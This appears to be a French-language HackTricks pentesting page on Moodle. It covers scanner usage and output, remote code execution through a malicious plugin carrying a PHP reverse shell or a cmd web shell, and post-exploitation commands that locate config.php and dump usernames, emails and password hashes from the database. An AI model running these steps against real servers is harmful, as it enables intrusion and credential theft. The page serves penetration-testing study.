hacktricks/network-services-pentesting/pentesting-web/moodle.md

189 lines
10 KiB
Markdown
Raw Normal View History

2022-05-24 00:07:19 +00:00
# Moodle
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2022-10-22 15:01:16 +00:00
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
2023-06-03 13:10:46 +00:00
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_polonais courant écrit et parlé requis_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
## Scans automatiques
2021-04-05 22:03:17 +00:00
2022-05-24 00:07:19 +00:00
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
2022-05-24 00:07:19 +00:00
### moodlescan
2023-06-03 13:10:46 +00:00
moodlescan est un outil de reconnaissance pour Moodle. Il peut être utilisé pour identifier les versions de Moodle, les plugins installés et les utilisateurs. Il peut également être utilisé pour trouver des vulnérabilités connues dans les versions de Moodle et les plugins installés.
Pour utiliser moodlescan, il suffit de spécifier l'URL de la page d'accueil de Moodle. moodlescan effectuera ensuite une série de requêtes pour identifier les informations pertinentes. Les résultats seront affichés dans la console.
Voici un exemple d'utilisation de moodlescan:
```
python3 moodlescan.py -u https://example.com/moodle
```
Cela affichera les informations suivantes:
```
Moodle version: 3.9.2
Installed plugins:
- mod_forum
- mod_assign
- local_statistics
- theme_boost
```
moodlescan peut également être utilisé pour trouver des utilisateurs de Moodle. Pour ce faire, il suffit d'utiliser l'option `-f` et de spécifier un fichier contenant une liste de noms d'utilisateurs. moodlescan effectuera ensuite une série de requêtes pour déterminer si les utilisateurs sont présents sur le site Moodle spécifié.
Voici un exemple d'utilisation de moodlescan pour trouver des utilisateurs:
```
python3 moodlescan.py -u https://example.com/moodle -f users.txt
```
Cela affichera les informations suivantes:
```
User found: alice
User found: bob
User not found: charlie
```
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
2022-05-24 00:07:19 +00:00
### CMSMap
2023-06-03 13:10:46 +00:00
CMSMap est un outil open source qui permet de scanner les sites web pour détecter les CMS (systèmes de gestion de contenu) utilisés. Il peut également être utilisé pour trouver des vulnérabilités connues dans ces CMS. CMSMap prend en charge de nombreux CMS populaires tels que WordPress, Joomla, Drupal, Magento, et bien d'autres. Il peut également être utilisé pour trouver des plugins vulnérables et des thèmes utilisés sur le site. CMSMap est un outil utile pour les tests de pénétration et les audits de sécurité des sites web.
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
2022-05-24 00:07:19 +00:00
### CVEs
2023-06-03 13:10:46 +00:00
J'ai constaté que les outils automatiques sont assez **inutiles pour trouver des vulnérabilités affectant la version moodle**. Vous pouvez les **vérifier** sur [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
2022-05-24 00:07:19 +00:00
## **RCE**
2023-06-03 13:10:46 +00:00
Vous devez avoir le rôle de **manager** et vous **pouvez installer des plugins** dans l'onglet **"Administration du site"**\*\*:\*\*
![](<../../.gitbook/assets/image (447).png>)
2023-06-03 13:10:46 +00:00
Si vous êtes un manager, vous devrez peut-être **activer cette option**. Vous pouvez voir comment faire dans la preuve de concept d'escalade de privilèges moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
2023-06-03 13:10:46 +00:00
Ensuite, vous pouvez **installer le plugin suivant** qui contient le shell php r**ev classique de pentest-monkey** (_avant de le télécharger, vous devez le décompresser, changer l'IP et le port du revshell et le recompresser_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
2023-06-03 13:10:46 +00:00
Ou vous pouvez utiliser le plugin de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) pour obtenir un shell PHP régulier avec le paramètre "cmd".
2023-06-03 13:10:46 +00:00
Pour accéder au lancement du plugin malveillant, vous devez accéder à:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
2022-05-24 00:07:19 +00:00
## POST
2023-06-03 13:10:46 +00:00
### Trouver les identifiants de la base de données
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
2023-06-03 13:10:46 +00:00
### Extraire les identifiants de la base de données
---
2023-06-03 13:10:46 +00:00
#### Description
2021-04-05 22:03:17 +00:00
2023-06-03 13:10:46 +00:00
Dans certains cas, il est possible d'extraire les identifiants de la base de données de Moodle en utilisant des vulnérabilités ou des erreurs de configuration.
#### Procédure
1. Tout d'abord, il est nécessaire de trouver les informations de connexion à la base de données. Cela peut être fait en examinant le fichier `config.php` situé dans le répertoire racine de Moodle.
2. Une fois que vous avez les informations de connexion, vous pouvez utiliser des outils tels que `mysql` ou `phpMyAdmin` pour accéder à la base de données.
3. Recherchez la table `mdl_user` qui contient les informations d'identification des utilisateurs.
4. Si les mots de passe sont stockés en clair, vous pouvez simplement les extraire. Sinon, vous devrez utiliser des techniques de craquage de mot de passe pour les récupérer.
#### Contre-mesures
- Assurez-vous que les informations de connexion à la base de données sont correctement sécurisées et ne sont pas accessibles publiquement.
- Utilisez des algorithmes de hachage forts pour stocker les mots de passe des utilisateurs.
- Restreignez l'accès à la base de données uniquement aux utilisateurs autorisés.
2021-04-05 22:03:17 +00:00
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
2022-10-22 15:01:16 +00:00
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
Si vous êtes intéressé par une **carrière de hacker** et souhaitez hacker l'impénétrable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>